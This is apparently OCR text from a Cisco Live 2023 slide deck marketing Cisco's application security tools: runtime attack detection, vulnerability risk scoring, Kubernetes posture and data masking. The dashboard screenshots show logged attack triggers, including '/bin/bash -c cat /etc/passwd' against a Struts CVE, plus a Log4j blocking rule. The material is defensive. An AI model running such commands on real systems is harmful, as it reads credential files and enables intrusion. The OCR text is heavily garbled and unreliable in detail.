S a fe fO r p ro d u Ctl on Event Type v Search.. T Timestamp: 05-02-2022 12:30:59 EDT

Affected Node: WebTier--7

Event Type Observation Type Application Tier (Nodes) Timestamp Vulnerabilities: SOCKET RESOLVE
SOCKET_RESOLVE ~ NETWORK t3 ClusterAgentD...  Ifl WebTer (1)  2daysago Classname: Java.net.SocketPermission
Ptype: SOCKET
Socket Out: 192.168.27.28
C O n ro | | e d W | t h p O | I Cy Show 10~ Host Context: devops-offers-web-v2-5b688fffc7-vhp2t
Method Name: sun.nio.ch.Net.getRevealedLocalAddress
Stack Trace:

sun.nio.ch.Net.getRevealedLocalAddres
(Net.java:175)

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 76




Monitored Runtime Events
Java and .NET
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@ o3 = A
Command HTTP Filesystem Method
execution transactions access invocation
R S
Soc_:k_et SQL DB Class Exceptions
activity access deserialization

.NET currently supports Command Execution

cisco L‘V& ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 77
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[ XN ]
\) Cisco Secure Application
Attacks By Outcome (© 3.6k Total Top Applications Top Attack Types
2.4k
SSRF  —
AD.
LoG4) W
DESEREAL
AD-Retail ~ EE—
saL 1
A | t t MALIP |
nalyze runtime events taging sockshop s
35 RCE s
—
0 700 1.4k 2.1k 2.8k 0 650
@ Exploited ® Blocked © Attempted
* Outcome ~  Search...
Expose attack trigger
g9 |
O ID Outcome ?«Etz:ﬁlt(s';ype Event Trigger Application Business Transaction Tier LastC
O RegularMin... @ Exploited SSRF (2) n AD-Retail n /argentoDemoApp/execute IBl Inventory 25 mir
O CaringDonk.. @ Blocked RCE (1) Is -al 12 AD-Retail Y2 /argentoDemoApp/execute I8 Inventory 35 mir
Correlate VU | nera ble COde O GivingGorilla @ Exploited SSRF (2) t! AD-Retail n /argentoDemoApp/execute I8l Inventory an hot
O FamousMin... @ Blocked RCE (1) cat /etc/pass... 12 AD-Retail 13 /argentoDemoApp/execute Il Inventory an hot
O UnitedShrew . Exploited SSRF (2) n AD-Retail n /argentoDemoApp/execute |E|I Inventory 2 hour

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 78
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) Cisco Secure Application

o ‘ Cisco Secure Application

Vulnerabilities By Severity ® 8.4k Total Severity Trend All Attacks > MoralKite
5.6k 6000 ‘\.—'/\‘
4500 | Timestamp: 04-28-2022 11:58:53 EDT
3000 Affected Node: StrutsDemoAppNodeName_struts-7d55665db4
= 556 e e " EventTrigger: /bin/bash -c cat /etc/passwd
22 -l CVE-2017-5638

Juar: 30 Jar; Kl Feb‘ o1 . .
@citcal @ High  ® Medum @ Low ® citcal  ® High ® Medum ® Low Vulnerable org.apache.struts2.dispatcher.multipart.Jakartz
Method: Request.buildErrorMessage(JakartaMultiPartRe
= a:123)
Monitor vuln method usage sor Classname: java.io FilePermission
Title D Kenna Score @ Ptype: EXECUTE
Remote Code Execution (RCE) CVE-2017-5638 100 o) @ ( Command: /bin/bash -c cat /etc/passwd
Thi 1 bl de has b il ir:
Deserialization of Untrusted Data CVE-201 real(s:r:/:dnera © code has been e Working Dir: /usr/src/argento/prod/.
Method Name: java.lang.ProcessBuilder.start
. . . Deserialization of Untrusted Data CVE-2017-17485 (50 M SEED ) 9
|dentify risky runtime events P ——— Stack Trace
Deserialization of Ut ntnd Nats CVE-2020-8840 D
Deserialization of Untrustea vata CVE-2020-24750
Deserialization of Untrusted Data CVE-2020-35728 com.opensymphony.xwork2.util.LocalizedTextUtil.findText (LocalizedTe:
O i @ com.opensymphony.xwork2.util.LocalizedTextUtil.findText (LocalizedTe:
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.buil
Deserialization of Untrusted Data CVE-2020-11113 ) st.java:123)
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.pars
org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<ini
"
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AP | S e C u rlty | n S | g h tS \) ’ Cisco Secure Application
I r Occurrence 1
from Panoptlca Panoptica |

Findings Category Severity \ | Affected Endpoints
. . . ) . 69.160.80.149:443
Identify risk introduced by 3rd-party APIs TLS Version NETWORK High
TLS Versi NETWORK High | >
. . ersion ig
. ﬁutomgtlc (_jlscovery of API Ul oo ieo o0 100000
ependencies
P TLS Version NETWORK High
« Determine security posture of APIs _ 3 Description
Self-signed .
. NETWORK Medium . .
. . . - certificate Unspecified vulnerability
+ Native backend integration requiring no 1| cip betore 5.3.15 and 5.4
Conf|gurat|on Securlty ) NETWORK Low related to an \overflow.\
configuration
« Findings combined into application . . | ‘
. . . Missing required cve_id
context for business risk scoring headers APPLICATION Low
2 CVE-2012-2688
CvVss
10.0

cisco M- #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 80
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) Cisco Secure Application

Name ~ Search...

Default Enable
N Applicati Ti Rul
lame pplication ier ules Action Policy
if stack trace contains org.apache.logging.log4j.core.net.Jn
Network ket NETWORK] Al Al Detect Ye
letwork or socket access (| ) ® diManagerlookup, Block © ete ‘es
Libraries loaded at runtime (LIBRARIES) (O Al Al Detect Yes
C O n r Ol ru nti e b e h aVi O r Web transaction (TRANSACTION) Al Al Detect Yes
Database queries (DATABASE) (D All Al Detect Yes

Strict-Transport-Security: Detect

X-Frame-Options: Detect
Headers in http transactions (HTTP_RESPONSE_HEADER) (O All Al Detect Yes
X-XSS-Protection: Detect

Use stack traces & behavior

X-Content-Type-Options: Detect

Class deserialization at runtime (DESERIAL) Al Al Detect Yes
Unhandled exceptions (EXCEPTION) (O All Al Detect Yes
Cookies in outgoing http response (HTTP_COOKIE) (D All Al Detect Yes

Block access to sensitive o
re S O U rC e S if filename starts with 34, Block ®

Filesystem access (FILE) © Al Al if filename starts with 34, Block Detect Yes

v

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 81
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Block use of vulnerable
functions

Add HTTP security headers

‘j ’ Cisco Secure Application

Add Policy

Name

(@ Headers in http transactions (HTTP_RESPONSE_HEADER)

Headers

Content-Security-Policy Patch v with default-src https:

X-Frame-Options:

HTTP/1.1 200 OK
Date: Tue, 01 Jun 2021 20:55:5

Content-Type: text/html; chars

Server: example

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 82



Where should we focus our energy to reduce risk
to our digital business?..

mmmmmmm

arketin
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Risk scoring with

business-context

Tailored prioritization based on likelihood

and impact

Builds a customer-specific view of
security risk

Leverage findings and intel from Cisco
Kenna, Panoptica, Talos

Continuously assess score reflect real-
time risk

Prioritize remediation and mitigation
efforts by what matters to the biz

cisco L{Vp/_/

‘) ‘ Cisco Secure Application

Business Transactions > orders

Details

Business Risk Score ()

7 50 Critical

Business Risk Factors ()

Vulnerabilities with High Exploitation Risk
Threat Activity

Usage of Unsafe External API

Important Business Transaction

Access to Datastore

@ Publicly Accessible

Application
n production-sock-shop

Daily Highest Business Risk Score Detected

1000

500

250

#CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 84



Calculating Business Risk
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Impact

Likelihood

of exploit

Business and
application
of breach RElX:

-
)
S 2
O
£ ©
n um
> C
M ©
| -
|_

J

T
Likelihood
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Components of Business Risk Assessment
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Business Risk Score ()

@ '::Il%lélclvl 600 Warning

cisco M N #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 86



Business Risk Demo
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Trigger external API
endpoints

Export reports

SIEM integration

CiIsco

‘j ‘ Cisco Secure Application Home Applications Libraries Vulnerabilities Attacks Observations Policies

All Vulnerabilities

Lifespan

- POST /data/collector/event HTTP/1.1

B-14Daye Authorization: 4c66b0f967272845

7oae content-type: application/json

o content-length: 612

“event”:{“1d”:“”,“timestamp” :“2022-0

” “resource”:“Secure App”,“attributes’

+0000 UTC”,“fixedAt”:“”,“cveld”:“SOCK

, “fixedVersion”:“” “applicationld”: 405

TW¢ e :1509, “tierName” : “WSP-Core”, “tierluid’
B G D E

.Vulnerability CWE Application Tier
CVE-2018-8014 CWE-453 AD-DevOps-Offe Payi
CVE-2018-8014 CWE-453 AD-DevOps-Offe Core
CVE-2022-23221 CWE-94 AD-Travel dock

Vulnerabilities (137)

@ Critical
@ Critical
@ Ccritical

@ Ccritical

® criica CVE-2021-44228 CWE-94 CiscoSecureAppl Web
CVE-2022-22965 CWE-94 AD-Financial-Ne: credi
CVE-2022-22965 CWE-94 AD-DevOps-Offe Web

BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 88



HTTP Alerting Configuration

Add Custom Headers

Specify custom headers for the request (Optional).

T
<
o)
=8
Q
>
°
j=2
=
QO
=5
o
=
(2]

Header Name Default Value
Referer https://developer.example.com/
Add Payload
Header Name An alert action will trigger for all new vulnerabilities detected. You can copy predefined variables from the list
e below and paste it into the editor. The payload must be in JSON format.
Editor
MIME Type
Please fix any errors and format your JSON correctly in the editor below to proceed to the next step.
application/json v
PP | 1 ¢
consd!er: "c6b7a9646db9619ad97eflddb8bc700c", 1
Predefined Variables 3 prlorJ..ty. A,
4 "description": "Consumer Test Case"
$vulnerability.id 0 5 %
$vulnerability.title 0
$vulnerability.cvssSeverity r|:|
$vulnerability.cvssScore [r]
$vulnerability.reached 0
$vulnerability.application I[—:I

cisco L‘V&. #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 89



Business Risk Observability Use Case

Visibility Insight Action
1 2 servicenuvw Tickets created for fast, coordinated
& Jira Software Ops and Development response
‘ases’ AppDynamics ‘ases’ AppDynamics
A new vulnerability is Critical risk is identified in an important Q0 webex Webex for collaboration to expedite
automatically detected in Business Transaction that is publicly o cisco mitigation and remediation
a production service accessible, has access to a data store,
and this vulnerability is predicted to be
™ exploited . ) .
SecOps mitigates threats with a blocking
‘@i’ AppDynamics  policy in Secure Application to block
suspicious method calls
abl ApoDynamics De'velopment' uses remediatjgn
guidance to fix the vulnerability
Continuous monitoring of policy violations and
7 vulnerability remediations as well as
associated Business Risk score changes

cisco M. #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 90
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Security for
Cloud Native

Applications
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Cisco Secure Application

Business risk observability for cloud native applications
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Locate and highlight threats and SECURITY
vulnerabilities across k8s and BUSINESS RISK Business Risk

containers, securing deployment

of modern applications on k8s 1000 Business isk factors

D Business impact

;5 vulnerabilities detected
Highest real-time risk score: 95
Highest CVSS score: 9

O Infrastructure context
2 pods with high security risk

O Data context
50 log entries with critical sensitive data

Detect and protect against leakage
of sensitive data with pre-defined
expressions to ensure compliance

Top 3 remediations

Update package linux from the affected version o
4.9.210-1 0 4.9.228-1

[
g
[]
O
(2}
=
(2]
=
(2}
(%}
Q
c
(2]
=1
(a]

Update package binutils from the affected versiol

|
Y~ Combine threat and vulnerability 19 April 2:34-8102.32.51.20190707-1
;@% inte”igence from CiSCO Kenna and Business risk score I Critical threshold lzj.pzci:f?t]s;gg?gbmumsfromthe affected versio
Panopt|ca W|th bUSineSS |mpaCt View all available remediations
and runtime behavior to provide a
business risk score i
N—
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Security insights module architecture

suoneolddy aAneN pnojD

\
I
Panoptica Nati Kenna :
troller are deployed in one Cisco Helm atlv_e . |
Application |
Observabili®sstara » |
Kubernetes _ _ _ _ _ _ _ _ _ _ __ __ Panopti !
Cisco FSO Platform ca |
Workloa /
ds Ypvees V'--' g ./ T T T T T T T =" T""7°

- oy

collecto
Control . t.y
olane insight

m s s s s s S S e e e S e e EEe B B e e e

Cisco Kenna and Panoptica integrations
are automatically created
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Security insights module

Correlated with Application and Business context

Business Risk Observability

@
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Q
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Detect Infrastructure Sensitive Data
Vulnerabilities Posture Redaction
%@?ﬁ
Runtime container Find configuration issues Automatically detect and
vulnerability detection with and vulnerabilities in redact data leakage to
remediation guidance Kubernetes configurations maintain compliance
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oTL

Kubernetes and App Service Monitoring

HELM
< e Cloud

Cluster Collector

suoneolddy aAneN pnojD

| Native
Integrated collector = | Applicati
deployment g ote oot pplicatio

{-

AppDynamics OTLP

Distribution for n

OpenTelemetry
Collector

Infrastructure
Collector

abil-

=1

No configuration required ! o @T ____________ i
= Kenna

Log Collector
A
{@ {3 I

OTel O t AppDynamics H
O Kibafnates Operator Pa n O ptl

for Kubernetes

No additional licensing

Security

Collector C a
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Application
Metadata

Give context to security
insights

No one needs to prepopulate
security tooling

Immediate understanding between
sec and app teams

Lae!

BRKSEC-2405

. m-1 ,I!—_——_-— _

oy © ontemr o
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REQUEST FLOW

n
| X p | O ra tl O n Explore / Traces / f99bda2fe9768bd0fdd8b9df6590cef5

@)
o
=
Q
P
2
=
(0]
>
o©
o
=
=
=
?
3 Trace Id: f99bda2fe9768bd0fdd8b9df6590cef5

Trou bleshoot at the mOSt v /ecommerce/addtocart SERVICE ecom-ecommerce-t

. HGETALL SERVICE ecom-ecommerce-blue-svc
g ra n u |a r |eve| Wlth S pa ns v EcommerceController.additemToCart SERVICE ecor TRACE FLOWMAP
v CartRepository.findByUuid SERVICE ecom-ecomm
v SELECT Cart SERVICE ecom-ecommerce-blue-sv
SELECT ecommerce.cart SERVICE ecom-ecommerc

SELECT ecommerce SERVICE ecom-ecommerce-blue-

by cross-domain & advanced
criteria

v ItemRepository.findByUuid SERVICE ecom-ecomm
v SELECT Item SERVICE ecom-ecommerce-blue-s\
SELECT ecommerce.item SERVICE ecom-ecommer
v CartRepository.save SERVICE ecom-ecommerce-b

Session.merge com.demo.ecommerce.model.Cart ¢

and infrastructure domains

and improve application
performance
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Auto-Defined
Business
Transactions

Troubleshoot your most
business-critical issues

with automatically defined business
transactions leveraging predictive
detection

Observe > Pods (critical) > Generate Policy

RELATIONSHIPS v

Business Transactions > 1

@

Generate Policy

Services > 1
[ J
PolicyService
Service Instances > 30

START

[ PolicyService
/GeneratePolicy

Endpoints

Service
H 6 Services

Clusters > 2

Namespaces > 2

BRKSEC-2405

PolicyService

RiskAnalysis

userProfile

QuotingBind

FullfillmentService

Cust...Service_Enrollment

& Business Transaction: Generate Policy

> @
[+ RiskAnalysis
/CalculateRisk

(=] QuotingBind
/BindQuote

Endpoints

/GeneratePolicy
/CalculateRisk
/getRiskProfile

/BindQuote

/fulfillQuote

/EnrollCustomer
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Cross
M.E.L.T.

suoneolddy anieN pnojd

|
correlation — porons
Span A¢ raw
. uuid=123-browser message=could not execute
with automated traces to
nested exception is
trace_id=59b5f713928a80633b06d0fc23250c40

2023-05-25 19:17:59 -
1 1 1 c.d.e.controller.EcommerceController - [] Error

Flnd root Cause In mlnutes saving cart: DatalntegrityViolationException
statement; SQL [n/a]; constraint
[cart_cart_items.UK_674a9j0b3ménnmiaha89jhjm3];

|Ogs Correlatlon |B| |E| org.hibernate.exception.ConstraintViolationExcepti
on: could not execute statement

Hipstershop.CartService/GetGart get-quote span_id=e09de83b60016233 trace_flags=00
1 1
it it Select a service endpoint to see the associated logs

checkoutservice
Surface log messages in context to cartservice
reduce MTTR frontend

PROPERTIES

. . Entry Service
with out of box correlation between

. frontend
traces and logs using Span IDs
Entry Endpoint
HTTP POST

Il IEll

with out of box correlation between Start Time

. hipstershop.ShippingService/GetQuote hipstershop.CartService/GetC -07-
traces and |OgS using Span IDs ipstershop |Q|p|sr:)%nerwce etQuote hipstershop 1aspaenrwce etCar 5/24/2023, 20:07:48.756

Duration

BRKSEC-2405

Cisco Public
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ldentify Open-Source Risk

Vulnerabilities (2)

related to Pod: nginx X Clear all relations
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Know what vulnerable third-party code Y Filter by ¢
your apps are using

« Runtime container image scanning in

Kubernetes from Panoptica CVEID Kenna CVSS score Package name Affected
vulnerabilities are right after they’re CVE-2019-14835 8.6 T — 2985
disclosed
o . . CVE-2018-17359 69 5.5 diffutils 3.9.1
- Remediation guidance to get fixes out i '
quicker tailored to your environment CVE-2017-12451 55 4.5 coreutils 9.2.5
CVE-2021-44228 33 9.6 binutils 2.34-8
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Rate of Vulnerability Disclosure

CVEs Per Year CVEs from NVD
30,000 190,359
#0000 Average CVEs
20,000 Published Per Day
68
15,000
10,000 2022
| 25,059
>0 24% Y /Y
gssugzsepsgesaorrereosny oo
222222882 S888R_%888R888¢R_.8¢8¢28% 17% Q/Q
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Our research shows us that...

- There were an average of 68 new software vulnerabilities published
every day in 2022

- 95% of IT assets have at least one highly exploitable vulnerability.

- Organizations are remediating around 1 in 10 vulnerabilities in any
month.

 Twitter mentions to prioritize software fixes are 2X as effective at
reducing organizational exploitation as CVSS.
hentia  k=nNA

Source: Prioritization to Prediction, Volume 8, The Cyentia Institute & Kenna Security

cisco L&VP// HCiscoLiveAPJC
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Which vulnerabilities are truly risky?

CVEs in the NVD: Observed and Exploited

5% Roughly in the NVD are

Observed & observed in enterprises and exploited
xploite . .
in the wild.

These are the ones you want to
51% prioritize for remediation.

Source: Prioritization to Prediction, Volume 5, Kenna Security & The Cyentia Institute

Not Observed & Not Exploited

cisco W./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 105



O
o
s
&
= eoe
D
>
e
= P
8 Vulnerabilities (2)
% related to Pod: nginx X Clear all relations CENNADETAILS
Y Filter by Kenna score
100
Easily exploitable
Leverage Kenna vulnerability True
- - Mal loitabl
intelligence CVE ID Kenna & CVSSsco| o
1 Active internet breach
CVE-2019-15926 100 3.4 True
. . Popular target
Better coverage in less time CVE-2019-14835 85 8.6 e
CVE-2018-17359 69 55 Predicted exploitable
: True
. _ . CVE-2017-12451 55 4.5
Factor in business risk CVSS SCORING
CVE-2021-44228 33 9.6
cvss
3.4-Low
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Cisco Kenna cuts through the noise

Kenna looks at various categories of vulnerability data to
understand what happens to a CVE during all stages of its
life, from the assignment of a CVE to the unlikely event of an
exploitation in the wild.

Data Categories

MITRE & NVD Exploit Databases Threat Actors Volume & Velocity of

Vulnerability Scoring ) » Exploitation in the Wil
Early Warning Chatter Malware Analysis Malware Families xploitation in the Wild

Kenna Machine Learning Model-Based Risk Scoring _
This incorporates the prediction of exploitation publication and exploitation event (94% accuracy) -

cisco W./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 107



High-risk remediation strategies

High-Risk CVEs by Remediation Strategy

A real dataset of 184,306 vulnerabilities

136,921

100,034

2,018

CVSS Scanner Kenna

1 . 09% of these CVEs are
considered high-risk by Kenna

v 134,903 fewer vulnerabilities to
remediate compared to the scanner

v 98,016 fewer vulnerabilities to
remediate compared to CVSS

Missed high-risk vulns
111 CVEs found high by Kenna but not found high by scanner

51 CVEs found high by Kenna but not found high by CVSS

cisco Lg{/&/

#CiscoLiveAPJC
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Observe /

Uncover Kubernetes
security posture s, e Tt o G | SECUITY s
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1 |
Y Filter by
Pod risk factors
2 vulnerabilities detected
Highest Kenna score: 100

attributes(security_risk) IN ['warning’, ‘high’]

Identify risk introduced by K8s & Containers

. . . . Health Security risk Name Highest CVSS score: 8
. Elatlve backend integration with o | i O Privileged access
anoptica ° . kube-system O Can run as root

- Infrastructure risk cross-corelated with s:\?”zgg:t path mounted with write

apphcatlon entities O May have risky capabilities allowed
- Findings combined into application : \’;‘Igfﬁoz:gs maybe shared with this

context for business risk scoring O Has arisky role

) Can escalate its privileges
Public-facing
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Security
INnsights
runtime

- APl integration provides
agentless deployment

- Deploys as standard
Kubernetes workload

- Scale using native
Kubernetes constructs

Lae!

API
request

BRKSEC-2405

Kubernetes

Mutation &
Admission

Panopt
ica
control
ler

© 2023 Cisco and/

XX Cloud
Native

Applicatio
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Security risk

High
Pod risk factors
: % 2 vulnerabilities detected
Panopt|Ca CatCh_eS Highest Kenna score: 100
dangerous configs Highest CVSS score: 8.6 - Critical

Privileged access
Can run as root

Has a host path mounted with write
privileges
May have risky capabilities allowed

Node PIDs maybe shared with this
workload

Has a risky role
Can escalate its privileges
Public-facing

O
O
O
O
O
O
O
Y

Cisco
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Additional capabillities
within Panoptica . —

[& Dpashboard
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Insight into Kubernetes, image
vulnerabilities, RBAC and MITRE ATT&CK

- Service-mesh, mutating webhook, and CD
plugins to perform vulnerability assessment o :
and deployment policies 5 — \

+ Image scanning for VMs, containers and
serverless functions; and SBOM/SLSA

1S Kubemetes Benchmarks Compliance

7] Rumtmeview  [E], Poiey | Lasthour

+  K8s vulnerabilities categorized by MITRE
ATT&CK with remediation strategies

- Service mesh to obtain connection telemetry
and enforce connection policies

- RBAC control to assess who can access what
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Detect and redact
sensitive and personal
data

Maintain compliance and protect

Logs

related to Business Transaction: Checkout X Clear all rel
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7

SECURITY

Y Filter by

itive_data_found = .
sensttive_data_found = frue Sensitive data found

True

Customer data Severity Log message . -
Info 127.0.0.6 - [2022/10/06 - 14:47:25 Highest data sensitivty
- Pll leakage insights mapped to source High
tities to clampb down leakage Info 127.0.0.6 - [2022/10/06 - 14:47:25
n . .
© P 9 Info 127.00.6-[2022/10/06 - 14:4725|  Masking rules triggered
° Leverage prepaCkaged P” deteCtlon © Wwarning CreateTimeSeries request failed (1 Sockshop_onllne:pn
expressions to enable faster protection © Waming CreateTimeSeries request failed (| Masking expressions found
+ Build custom policies and expressions info CreteTimeseresrequest aed (| g;j "t card number
to deteCt and redaCt any data & Warning {"level":"warning" 'time":"2022-10-0 v
essage
; s A : © Wani {'level""warning" time":"2022-10-0
« Combine findings into vuln and threat : amfng " = " ”wamfng” {me" " {"level":"warning",'time":"2022-10-06 T14:46:
ConteXt for bUSineSS I’ISk scores <> Warning {"level":"warning","time":"2022-10-0, 3.5496832","scope":"envoy
wasm','msg":"wasm log stackdriver_inboun

stackdriver_inbound: [extensions/
stackdriver/log/exporter.cc:64]::operator()(
Stackdriver logging api call error: 13 data-
test: <SSN>:<CREDIT_CARD>"}

cisco W- #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 13



Data Expressions

Configure / Security / Data Security

Data Masking
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Automatically remove and replace sensitive information in your logs, like social security and credit card numbers, fo
You can create a regular expression to identify sensitive text, then create a rule with that expression to mask it.

Predefined expressions for

.
common sensitive data types B
. Masking Rule (4) Masking Expressions (4)
- Create custom expressions E—
using Regex © + Addnewmasking expression Q. Search..
Expression name Data sensitivity Source Expression RegEx
- Data is redacted edtcadmmber  Medum U ————
Email address Medium sys:derived (la-ZAZ0-9H#S*+2%_ (|}~ J+(2:@1%40)(?:
- Set sensitivity level of data - ot o DA A SN

SSN High user:derived (la-zA-Z]\d?\d{5,8})

based on your business

DOB Low user:derived (22N AA\D(2:\\)2(2:\) Ad\d(2:\N) 2(2:

O00000a0n.

PAN ID Critical sys:derived Mla-zA-Z)){5)([0-9)){4)([a-zA-Z]){1)?S

W&. BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 114



Data Rules

Configure / Security / Data Security

Data Masking
v Ap p |y to ta rg eted S O u rces Of Automatically remove and replace sensitive information in your logs, like social security and credit ¢

You can create a regular expression to identify sensitive text, then create a rule with that expression
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data using tags and entities

Read Documentation

- Map to one or more
eX p reS S i O n S Masking Rule (4) Masking Expressions (4)

- Supports infra and service ST
| O g S y b Ut Wi | I eX p a n d to Ot h e r Masking rule name Log source Masking expression
te | e m etry Hide credit card number aws:pod 3 expressions

Mask SSN aws:payment_service 1 expression

* P ro C e SS e d at i n g eSt b efo re Mask SSN2.0 aws:cart_service 4 expression
d a ta i S Sto re d Hide CCN_UI azure:login_s 2 expression
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Where should we focus our energy to reduce risk
to our digital business™......
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Scan and go POS

N> — ’5

Al Marketing
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Business Risk Score
Risk scoring with

business-context

Tailored prioritization based on likelihood
and impact

BUSINESS RISK

1000

« Builds a customer-specific view of
security risk

Business risk score
(63}
o
o

« Leverage findings and intel from Cisco
Kenna and Panoptica

« Continuously assess score reflect real-

time risk
Business risk score
« Prioritize remediation and mitigation
efforts by what matters to the biz

|
19 April

Critical threshold

SECURITY

Business Risk ()

9609 - Critica

Business risk factors
O Business impact

{# 5 vulnerabilities detected
Highest real-time risk score: 95
Highest CVSS score: 9.6 - High

O Infrastructure context
2 pods with high security risk

Data context
50 log entries with critical sensiti\

Top 3 remediations

Update package linux from the affecte
4.9.210-1 t0 4.9.228-1

Update package binutils from the affe
2.34-8 10 2.32.51.20190707-1

Update package binutils from the affe
2.28.-510 2.29-9

View all available remediations

cisco M- #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 17



Calculating Business Risk
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Impact
\

(
Application Infrastructure

Likelihood

of exploit

-
)
S 2
O
£ ©
n um
> C
M ©
| -
|_

Business, data,
lm paCt and application

of breach RElX:

J
|

‘
Likelihood
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Components of Business Risk assessment

ﬂBusiness Risk Score ()

@ 341600 warning

\
1
1
1
i
A ‘ ‘ -
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O

Correlated )
Alerts & :
Actions

Health Rules to monitor the key
KPIs and take actions as
required

suoneolddy anieN pnojd

based on Metrics
Baselines and Thresholds

based on
security metrics

to
integrate and share information

with external systems

Lae!

Health Rules
Health Rules (219)
l Q Search
Name Entity Type Description Monitored Entities Linked Actions
D PR RS . .»-. - - ‘..,... - -
HTTP Request Action / Update http request action
Ll
| v General Information
D Action Name
] Webex Teams Notification
D REQUEST URL
O Method Raw URL
] POST v https://we
URL Encoding

UTF-8

BRKSEC-2405

© 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public
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Business Risk Observability Use Case

Visibility Insight Action
1 2 servicenuvw Tickets created for fast, coordinated
& Jira Software Ops and Development response
‘ases’ AppDynamics ‘ases’ AppDynamics
A new vulnerability is Critical risk is identified in an important Q0 webex Webex for collaboration to expedite
automatically detected in Business Transaction that is publicly o cisco mitigation and remediation
a production service accessible, has access to a data store,
and this vulnerability is predicted to be
™ exploited
SecOps mitigates threats with a blocking
‘@i’ AppDynamics  policy in Secure Application to block
suspicious method calls
ahab AbpDynamics De'velopment' uses remediatjgn
guidance to fix the vulnerability
Continuous monitoring of policy violations and
7 vulnerability remediations as well as
associated Business Risk score changes
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Business Risk Demo
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Give me the
goods
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Zero Friction Enablement

Business Risk Observability

Instant Nothing to Fast Time
Activation Deploy to Value
Dashboards Part of existing Quick path to
visible in agents with native resolve pain — even
minutes integrations in non-production

cisco L‘V& ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 124



Buzz on the
street
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Overall Web Security Solution of CyberSecurity Breakthrough Awards®

the Year Recognlzmg the world's best mformatlon security companies,
products and people.

i

CYBER
SECURITY

EXCELLENCE
Application Security Product AWARDS

S R WIRNER %

W&-/ BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 126



Vendors' Product Scores for Security Operations Use Case

Product or Service Scores for Security Operations

Cisco (AppDynamics) 4.02

umo Logic 3.75

Alibaba Cloud --- 3.45
Dynatrace --- 3.40
Amazon Web Services --. 324
Elastic --I 3.09
Broadcom -- 2.92
Cisco AppDynamics was ranked #1 Ol -

. . . Microsoft -- 2.63
by a wide margin in the Gartner P r——

2022 Critical Capabilities report for Riverbed (Atemnity) I -

Security Operations use cases. Datadog ——
Splunk --2.41
Logz.io -- 2.39
New Relic -I 2.08
ManageEngine - 1.81
SolarWinds - 1.59

Honeycomb N/A
VMware (TO)

K 5
As of 1 June 2022 © Gartner, Inc

Gartner
CISCO
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Award Winning Power on Display

Software  Vulnerability Information ~ Reputation Center Library Support  Incident Response  Careers Blog Podcasts  About

EETTR— -

Headiines ' N\ |Threats N\

Vulnerabilities 3\ | Threat Roundup S\

THREAT =

ADVISORY iz

TaLos

Mitigation (identified in Talos Advisory)

Secure Application, which is integrated into AppDynamics Java APM agents,

« Detecting vulnerabill in these libraries and attacks by monitoring runtime behavior and

* Protecting syste with configurable policies to block exploit behavior at runtime.

#CiscoLiveAPJC BRKSEC-2405

Log4j Vulnerability
Mitigation Currently
Applies to both CVE-
2021-44228 and CVE-
2021-45046.

“After days of working
around the clock, my
team and | can finally
get some sleep!”

Director, AppOps @
Travel/Hospitality Customer
December 20, 2021

© 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 128



Focused on
vulnerabilities &
threats

Focused on

velocity & . ® ® o

user
experience
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Did you know?

You can have a
one-on-one session with
a technical expert!

Visit Meet the Expert in The HUB

to meet, greet, whiteboard & gain
insights about your unique questions
with the best of the best.

Meet the Expert Opening Hours:

Tuesday 3:00pm - 7:00pm
Wednesday 11:15am - 7:00pm
Thursday 9:30am - 4:00pm
Friday 10:30am - 1:30pm



Session Surveys

We would love to know your feedback on this session!

- Complete a minimum of four session surveys and the overall event surveys to claim
a Cisco Live T-Shirt

cisco W ./ #CiscoLiveAPJC BRKSEC-2405 © 2023 Cisco and/or its affiliates. All rights reserved. Cisco Public 131



- Visit the Cisco Showcase for
related demos

- Book your one-on-one
Meet the Expert meeting

- Attend the interactive education
with DevNet, Capture the Flag,
and Walk-in Labs

Continue
yOUF edUCathn - Visit the On-Demand Library

for more sessions at
www.CiscolLive.com/on-demand
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http://www.ciscolive.com/on-demand

l'I'lllll . .
CISCO The bridge to possible

Thank you
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